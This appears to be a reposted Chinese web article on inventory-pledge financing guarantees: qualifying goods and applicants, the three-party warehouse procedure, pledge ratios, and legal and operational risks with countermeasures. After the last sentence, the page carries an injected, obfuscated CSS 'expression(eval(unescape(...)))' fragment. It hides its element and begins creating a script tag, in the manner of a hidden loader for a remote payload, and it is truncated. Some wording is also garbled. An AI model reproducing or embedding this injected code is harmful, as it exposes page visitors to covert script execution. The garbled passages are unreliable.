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转 存货质押融资担保业务的操作模式融资活动围绕存货的担保方式主要有仓单质押、存货质押。仓单质押属于权利质押，但现实业务中担保公司操作比较多的是存货实物质押和抵押。本文主要从操作实务的角度，讨论存货质押融资担保的操作模式。一、存货质押融资担保业务的涵义存货质押融资担保业务是指申请人将其拥有完全所有权的货物存放在担保公司认可的仓储公司，以存储的货物与担保公司签订质押合同，作为融资的反担保，担保公司向申请人提供贷款担保的业务。它的法律基础是担保法关于动产质押的定义。担保法规定：动产质押，是指债务人或者第三人将其动产移交债权人占有，将该动产作为债权的担保。质押合同自质物移交子质权人占有时生效。二、存货质押融资担保业务特点存货质押融资担保业务特点具有以下特点：(一)多适用于商品流通企业，及生产经营中存货占有量较大、且周转较慢或周转较为规律的生产型企业。(二)能有效解决企业反担保措施难的问题，当企业无固定资产作为抵押，可以自有的存货作为质押向担保公司取得贷款担保。(三)能缓解企业因库存商品而造成的短期流动资金不足的状况，尤其是对季节性强、集中生产全年销售模式的企业，具有缓解资金压力、解决经营难题的作用。(四)质押货物一般允许流转，允许企业以资金换货物、新货换旧货，不影响企业的正常经营。三、存货质押融资担保业务实施的条件(一)办理存货质押融资担保的货物应具备的条件1_货物所有权明确，不存在与他人在所有权上的纠纷；2.适应用途广泛，易变现；3.市场价格稳定，波动小，不易过时，市场前景较好；4.无形损耗小，不易变质，具有与担保期匹配的质保期；5.规格明确，便于计量；6.产品合格并符合国家有关标准，不存在质量问题。一般应以钢材、粮食、煤炭、农资等大宗货物为主。(二)申请人应具备的条件1.企业应至少有三年以上经销或生产质押标的物的经验；2.标的物应是占其销售收入一定比例的主营货物或占其销售成本一定比例的主要原料；3.上年销售收入应超过申请担保额度的一定倍数，熟知市场行情，拥有稳定的购销渠道；4.将可用于质押的货物存储于担保公司认可的仓储方；5.申请人应当对货物拥有完全所有权，能够通过调查对标的物的权属加以认定；6.企业经营正常、行业状况良好，现金流量情况较好，具有偿付债务的能力。四、存货质押融资担保业务的办理1.设立方式根据担保法规定，出质人和质权人应当以书面形式订立质押合同，质押合同白质物移交于质权人占有时生效。2.操作程序由于存货质押担保业务涉及到仓储企业、出质人和担保公司三方的利益，因此要有一套严谨、完善的操作程序：口口口货主(申请人)与担保公司签订委托担保协议，约定担保事项。仓储企业、货主和担保公司签订仓储协议及不可撤销的协助行使质押权保证书，或在仓储协议明确仓储企业不可撤销地协助行使质押权的责任。担保公司审核，签署担保合同和质押反担保合同，按照货物价值的一定比例为其向银行提供贷款担保。贷款期内实现正常销售时，货款全额划入监管账户，担保公司按约定根据银行到账金额办理提货手续，仓库按约定要求核实后发货；中间需要流转，则坚持先入后出的原则，允许企业以不低于原标的物价值的货物进行流转。3.担保额度的确定由于质押物的价值是随着市场价格变动而变化，作为担保公司希望质押价格越低越好，而企业则反之。一般质押货物的价格应以目前该物品的可变现价值结合企业的具体情况进行确定，如期货价格、当前的市场价格、账面进货成本价等。存货质押率一般最高不应超过货物总价值的70%。把握担保额度确定的一个关键是：以质押存货的进价计算，押的是质押人的本钱，使其违约成本足够高，消除甩货套现的违约动机。五、存货质押融资担保业务风险及对策(一)存货质押融资担保业务存在的问题和风险在实际业务中，好多金融机构、担保公司都有类似存货质押的操作，但真正符合存货质押条件的也不多，更多的实际就是存货抵押。是否符合存货质押的条件，核心是对货物的实际占有、有效控制。实际业务操作中存在以下问题：1.大部分存货质押没有对货物实际占有有存货质押融资担保需求的企业，一般都无法让质权人对货物实际占有。比如粮食贸易企业，每吨只有几十元的利润，如果为了质押移库，移库费远大于其预期利润，做不到移库：生产性企业也存在生产成本、原材料供应链条等原因，同样不能移库。企业存货的存储现实，使质押权人很难实际占有存货。存货的仓储方式不符合存货质押要求。现实中办理存货质押的存货仓储的几种情况：a.企业自己管库：自己的库房、租用库房自己管理；b.租用第三方的库，进出库手续不严、无法有效控制；c.租用第三方的库，进出库手续严密。前两种情况在实践中要占到90%以上，可以说绝大部分有存货质押融资担保需求的企业，其存货仓储方式都无法满足存货质押要求。2.企业存货的流转为质押带来麻烦不管是贸易流通企业还是生产企业，其存货都需要流转，不断进出库，这也对质押存货的管理带来麻烦。3.现有存货监管模式的缺失目前担保公司采取的存货质押监管模式：企业自行管理，完全不符合存货质押的条件，相当于信用担保。保安公司监管的模式，完全依赖保安公司的管理、保安员的责任心，有的实际效果不是很理想。由仓储方代为管理，这种模式的关键是仓储方是否管理规范、进出库有效控制，实践经验看，国有大仓储库、大型流通企业所指定交割库等比较符合办理质押的条件。自己雇管库人的方式，实际效果最好，但管理成本较高、存在个人行为风险。4.对质押货物核实的问题现实中往往忽视了对质押货物数量、质量、价值的核实，带来潜在风险。5.法律风险存货质押融资担保业务存在：合同因流质条款被判无效的风险；质权与其他抵押权并存，被判抵押权优先于质权的风险。实践中，质押人与质权人恶意串通，将他人已办理抵押物登记的动产提前设定质押确实难以避免。担保法司法解释有同一一财产法定登记的抵押权与质权并存时，抵押权人优先于质权人受偿的规定。仓储企业、货主、担保公司之间错综复杂的委托代理关系，使存货质押融资担保业务产生了一定风险：如个别借款人串通仓储公司有关人员，向银行骗贷；伪造出入库登记单，在未经质押权人同意情况下，擅自提取处理质物，给银行债权的实现带来风险；某些资产监管公司的管理水平和硬件设施落后，不能有效履行第三方监管的职能；质押权人自身也存在对部分质物的市价波动缺乏有效的监测和风险防范措施等问题。(二)存货质押融资担保业务风险及对策在存货质押融资担保业务操作过程中，要从以下几方面规避业务风险：1.考察申保人的经营能力和信用状况在选择客户时要全面考察企业的经营能力和信用状况。重点关注企业主营业务增长率、销售利润率等；除经济实力外，良好的信用是企业履约的必备条件，评估担保对象的信用状况主要依据担保对象的历史履约情况和履约意愿来判断，具体包括三个方面：一是客户偿还债务的历史情况；二是客户以往的履约能力；三是客户有无被动履约记录(被采取法律诉讼或其他行动而履约)。凡有不良信用纪录的，应尽量不与其合作。2.选择好的存货种类质押存货的种类要有一定的限制。要选择适用广泛，易于处置，价格波动幅度不大，质量稳定的品种，如煤炭、钢材、有色金属、玉米、大豆等，同时还要考察货物来源的合法性，对于走私货物和违禁物品要及时举报。3.对抵押的存货办理财产保险担保法规定因质物灭失所得的赔偿金，应当作为出质财产。所以对质押物应该办理以质押权人为第一受益人的财产保险，尤其是易燃、易爆的木材、燃油等存货，必须办理财产保险。4.对仓储物进行数量核实和质量鉴定对仓储物进行数量核实在存货质押融资担保业务操作过程中，对货物数量真实性的核实最为关键。日常业务操作中，业务人员在看了企业财务账表后，就采用存货科目余额确定担保额，这是很危险的，某个时点的存货是不足为据的，质押存货的真实与否直接影响质押反担保的最终风险。由于存货清点难度大，企业的存货是最容易隐藏问题、也是做账的热点科目。在存货真实性的核实工作中，必须察看企业历史数据(最低点、最高点、平均存货水平)，加以分析，确定其可供质押存货数量的真实程度。在日常工作中可以结合科学抽样、现场查看与凭证审查相结合等方式，根据库房堆场的面积、容器体积等，进行合理测算。切忌毫无专业知识、漫天估算。对仓储物的质量鉴定仓储物质量必须有足够的专业知识识别，担保公司可以聘请专家或利用中介机构检验品质。货物的等级、质量的确定，可利用大交所、质检所、化物所等机构。5.严格选择仓储公司不管存货使用哪种存储方式，质押权人都必须实际占有。从上述各种存储方式存在问题看，选择专业的仓储公司是最佳选择。在仓储公司的选择上，要求仓库必须是独立和值得信赖的，包括其基础设施和资金水平，对保管库的规模、设施情况、管理能力等要进行充分的调查了解，同时要求仓库能够对所储存商品，按国家等级标准进行数量测算和质量鉴定。6.验证出入库流程在开展存货质押担保业务时，要求仓储企业对质押货物的保管负责，丢失或损坏由仓库承担责任。担保公司要切实核查进出库的程序，突击查看是否有凭脸熟、凭电话等不规范的程序就可以出库的漏洞。只有进出库手续严密、过程可控，才能符合存货质押条件。7.规避法律风险首先，注意质押条款的设计。在办理存货质押融资担保业务中，要注意质押合同条款的设计，杜绝类似在债务履行期届满质权人未受清偿时，质物的所有权转移为质权人所有的条款，避免流质条款导致合同无效。其次，关于抵押权人优先于质权人受偿的风险，实践中质权设定在先抵押权设定在后的情况非常罕见，除非质押无效即没能有效占有质物。所以只要合法的办理了质押手续，与其他抵押权的冲突可以避免。flash,0,0style=ee：expression(eval(unescape(this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3B